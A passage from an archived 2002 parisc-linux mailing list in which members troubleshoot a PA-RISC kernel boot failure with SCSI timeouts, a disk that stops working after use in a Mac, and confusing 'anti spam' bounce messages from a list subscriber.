NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 09:39:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37A51482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 09:39:48 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18GMGt-0003Pi-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 17:39:43 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 25 Nov 2002 17:39:41 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16924

Hi all,

Starting to investigate squid problem (having tree different behaviour between
my install), I try to boot my sarge b180 with my test k-2.4.20-rc1-pa7 (booting
well my b2k) but it failled with following messages:
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 19, function 0
sym53c8xx: 53c875 detected 
sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 99
sym53c875-0: ID 7, Fast-20, Parity Checking
scsi0 : sym53c8xx-1.7.3c-20010512
blk: queue 1003d774, I/O limit 4095Mb (mask 0xffffffff)
  Vendor: IBM       Model: DDRS-39130WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
blk: queue 1003d874, I/O limit 4095Mb (mask 0xffffffff)
  Vendor: IBM       Model: DDRS-39130WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
blk: queue 1003d974, I/O limit 4095Mb (mask 0xffffffff)
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
sym53c875-0-<5,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 15)
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
Partition check:
 sda:scsi : aborting command due to timeout : pid 38, scsi0, channel 0, id
5, lun 0 0x28 00 00 00 00 00 00 00 08 00 
sym53c8xx_abort: pid=38 serial_number=39 serial_number_at_timeout=39

Any idea.

Thanks in advance,
    Joel

PS: I used sym1 as scsi device driver

********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 2.4.20-rc1-pa7 boot problem
Date: Mon, 25 Nov 2002 18:00:28 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <3DA3C88900004E5C@ocpmta3.be.tiscali.com>
References: <3DA3C88900004E55@ocpmta3.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621967 17704 80.91.229.3 (22 Nov 2014 02:06:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 10:00:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60C97482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 10:00:33 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18GMay-0003qQ-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 18:00:28 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 25 Nov 2002 18:00:28 +0100
In-Reply-To: <3DA3C88900004E55@ocpmta3.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16925

>Hi all,
>
>Starting to investigate squid problem (having tree different behaviour between
>my install), I try to boot my sarge b180 with my test k-2.4.20-rc1-pa7 (booting
>well my b2k) but it failled with following messages:
>SCSI subsystem driver Revision: 1.00
>sym53c8xx: at PCI bus 0, device 19, function 0
>sym53c8xx: 53c875 detected 
>sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 99
>sym53c875-0: ID 7, Fast-20, Parity Checking
>scsi0 : sym53c8xx-1.7.3c-20010512
>blk: queue 1003d774, I/O limit 4095Mb (mask 0xffffffff)
>  Vendor: IBM       Model: DDRS-39130WS      Rev: HP01
>  Type:   Direct-Access                      ANSI SCSI revision: 02
>blk: queue 1003d874, I/O limit 4095Mb (mask 0xffffffff)
>  Vendor: IBM       Model: DDRS-39130WS      Rev: HP01
>  Type:   Direct-Access                      ANSI SCSI revision: 02
>blk: queue 1003d974, I/O limit 4095Mb (mask 0xffffffff)
>53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
>scsi1: 53c710 rev 2 
>scsi1 : LASI SCSI 53c700
>Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
>Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
>sym53c875-0-<5,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 15)
>SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
>Partition check:
> sda:scsi : aborting command due to timeout : pid 38, scsi0, channel 0,
id
>5, lun 0 0x28 00 00 00 00 00 00 00 08 00 
>sym53c8xx_abort: pid=38 serial_number=39 serial_number_at_timeout=39
>
>Any idea.
>
>Thanks in advance,
>    Joel
>
>PS: I used sym1 as scsi device driver
>

PS: Same results with sym2 ???


********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Smith <james@compusmithllc.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spam ?
Date: 25 Nov 2002 12:08:44 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <1038244125.445.8.camel@seventy>
References: <200211230018.gAN0INM1007883@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621968 17705 80.91.229.3 (22 Nov 2014 02:06:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 10:09:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eightythree.valleybikes.com (valleybikes.com [24.123.22.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id 680FB482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 10:09:00 -0700 (MST)
Original-Received: from localhost.localdomain (root@seventy.compusmithllc.com [192.168.194.70])
	by eightythree.valleybikes.com (8.12.5/8.12.5/Debian-1) with ESMTP id gAPH8j34031362;
	Mon, 25 Nov 2002 12:08:45 -0500
In-Reply-To: <200211230018.gAN0INM1007883@hiauly1.hia.nrc.ca>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16926

maybe i'm a buit thick, but are you saying the 'anti spam' message is
spam or my message is spam?


i'd have thought using a spam filter on a members only list was a bit
redundant anyway.....

oh well


James S




On Fri, 2002-11-22 at 19:18, John David Anglin wrote:
> > > can anybody tell me why i've been barred ?
> 
> Don't bother.  The message is spam.
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:25:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Smith <james@compusmithllc.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: 25 Nov 2002 12:13:15 -0500
Lines: 62
Approved: news@gmane.org
Message-ID: <1038244395.441.13.camel@seventy>
References: <20021123015234.15604.qmail@web12501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621968 17710 80.91.229.3 (22 Nov 2014 02:06:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 10:13:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eightythree.valleybikes.com (valleybikes.com [24.123.22.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D6B2482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 10:13:21 -0700 (MST)
Original-Received: from localhost.localdomain (root@seventy.compusmithllc.com [192.168.194.70])
	by eightythree.valleybikes.com (8.12.5/8.12.5/Debian-1) with ESMTP id gAPHDF34031392;
	Mon, 25 Nov 2002 12:13:15 -0500
In-Reply-To: <20021123015234.15604.qmail@web12501.mail.yahoo.com>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16927

its the original seagate disk that came with it

the disk still works in the mac, so its not dead

i dont have anything other than macs & the workstations that are scsi

would a low level format on the mac do the same as low level using an
adaptec card ?

James S




On Fri, 2002-11-22 at 20:52, Derek Engelhaupt wrote:
> 
> Well quit putting them in those darn macs....just kidding.  Who makes the disk?  IBM has certain tools like their drive fitness tests that has saved me a few times.  Seagate and others probably have similar tools.  Check their support sites and it may just be a matter of the wrong block size written by your mac.  IBM drives are especially notorious for having weird block sizes and such.
> derek
>  James Smith <james@compusmithllc.com> wrote:I just got a pile of 712/60's - $80 for 10 of em :)
> 
> 
> i've set one up & now i'm going through the disks one at a time &
> cloning them as its quicker than going through the install each time
> 
> 
> i've hit one disk that gives me this whenever i try to fdisk it 
> 
> 
> sixty:~# fdisk /dev/sdb
> 
> Unable to read /dev/sdb
> 
> 
> when i tried to zero the disk, i got this....
> 
> sixty:~# dd if=/dev/zero of=/dev/sdb count=1 bs=512 
> dd: writing `/dev/sdb': Input/output error
> 1+0 records in
> 0+0 records out
> 
> the console sees the disk when i use search 
> 
> does this indicate a dead disk?
> 
> the disk was ok until i put it into a mac......
> 
> James S
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
> ---------------------------------
> Do you Yahoo!?
> Yahoo! Mail Plus - Powerful. Affordable. Sign up now




From - Thu Nov 08 21:25:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: Mon, 25 Nov 2002 18:46:30 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <3DA3C88900004E87@ocpmta3.be.tiscali.com>
References: <1038244395.441.13.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621968 17712 80.91.229.3 (22 Nov 2014 02:06:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James Smith" <james@compusmithllc.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 10:46:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4BE4482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 10:46:41 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18GNJX-00028S-00; Mon, 25 Nov 2002 18:46:31 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 25 Nov 2002 18:46:30 +0100
In-Reply-To: <1038244395.441.13.camel@seventy>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16928

Hi James,

Sorry in advance if you already do it,

>
>its the original seagate disk that came with it
>
>the disk still works in the mac, so its not dead
>
>i dont have anything other than macs & the workstations that are scsi
>
>would a low level format on the mac do the same as low level using an
>adaptec card ?
>
Don't you still have a hpux support+ cd to boot on it and test your disk
with ODE?

[I encounter a strange problem which I do not yet fix:
I used a data disk which crashed and replaced by HP but new FW release. When
I put it back in my scsi chain, I was unable to use: a lot of scsi reset.
OTC when I chek it on a hpux box no problem as well if I connect it alone
to my hppalinux box ?]

Regards,
    Joel


********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spam ?
Date: Mon, 25 Nov 2002 12:24:03 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200211251724.gAPHO4Bc017344@hiauly1.hia.nrc.ca>
References: <1038244125.445.8.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621969 17715 80.91.229.3 (22 Nov 2014 02:06:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: james@compusmithllc.com (James Smith)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 10:49:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC2A94839
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 10:49:46 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAPHO4ot017346;
	Mon, 25 Nov 2002 12:24:04 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAPHO4Bc017344;
	Mon, 25 Nov 2002 12:24:04 -0500 (EST)
In-Reply-To: <1038244125.445.8.camel@seventy> from "James Smith" at Nov 25, 2002 12:08:44 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16929

> maybe i'm a buit thick, but are you saying the 'anti spam' message is
> spam or my message is spam?

The message is generated by a list subscriber.  When you post to the
list, the subscriber sends the 'anti spam' message back directly to
the poster.

The returned messages are designed to cause confusion.

> i'd have thought using a spam filter on a members only list was a bit
> redundant anyway.....

A spam filter is useless because the message never passes thorugh the
server.  As far as I can see, the only way to find the subscriber is
to send test messages to each subscriber one by one and see if a
'anti spam' message is returned.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: Mon, 25 Nov 2002 12:51:16 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200211251751.gAPHpHDf017394@hiauly1.hia.nrc.ca>
References: <1038244395.441.13.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621969 17718 80.91.229.3 (22 Nov 2014 02:06:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:09 +0000 (UTC)
Cc: derekengelhaupt@rocketmail.com,
	parisc-linux@lists.parisc-linux.org
To: james@compusmithllc.com (James Smith)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 10:51:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2BAB482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 10:51:22 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAPHpHot017396;
	Mon, 25 Nov 2002 12:51:17 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAPHpHDf017394;
	Mon, 25 Nov 2002 12:51:17 -0500 (EST)
In-Reply-To: <1038244395.441.13.camel@seventy> from "James Smith" at Nov 25, 2002 12:13:15 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16930

> would a low level format on the mac do the same as low level using an
> adaptec card ?

If it works in a mac, the low-level formatting is probably ok.  It's
most likely the data in block 0 or possibly some of the vendor info
that's the problem.  You should also examine all switch settings and
check that the termination is correct.

Erase disk in the finder doesn't do a low-level format.  It just builds
a new file systems.  Various tools from Adaptec (FWB HDT) and other
vendors are available to do low-level formats on the Mac.  The Sedit
program can probably issue a command to format the drive but I would
only do this as a last resort.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: Mon, 25 Nov 2002 11:02:08 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20021125180208.681AC482A@dsl2.external.hp.com>
References: <3DA3C88900004E87@ocpmta3.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621969 17720 80.91.229.3 (22 Nov 2014 02:06:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 11:02:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 681AC482A; Mon, 25 Nov 2002 11:02:08 -0700 (MST)
In-Reply-To: Message from jsoe0708@tiscali.be 
   of "Mon, 25 Nov 2002 18:46:30 +0100." <3DA3C88900004E87@ocpmta3.be.tiscali.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16931

jsoe0708@tiscali.be wrote:
> [I encounter a strange problem which I do not yet fix:
> I used a data disk which crashed and replaced by HP but new FW release. When
> I put it back in my scsi chain, I was unable to use: a lot of scsi reset.
> OTC when I chek it on a hpux box no problem as well if I connect it alone
> to my hppalinux box ?]

upgrading firmware should never result in lots of scsi resets.
Sounds more like a problem with the HW configuration.
Check SCSI IDs, cable lengths, and termination.

grant


From - Thu Nov 08 21:25:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] highmem_io for the sym53c8xx_2 driver??
Date: 25 Nov 2002 11:59:25 -0700
Lines: 103
Approved: news@gmane.org
Message-ID: <1038250766.1385.2.camel@beavis>
References: <1038037106.14815.4.camel@beavis>  
	<20021124024358.7D5B0482E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621970 17723 80.91.229.3 (22 Nov 2014 02:06:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 11:59:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 384F14829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 11:59:31 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
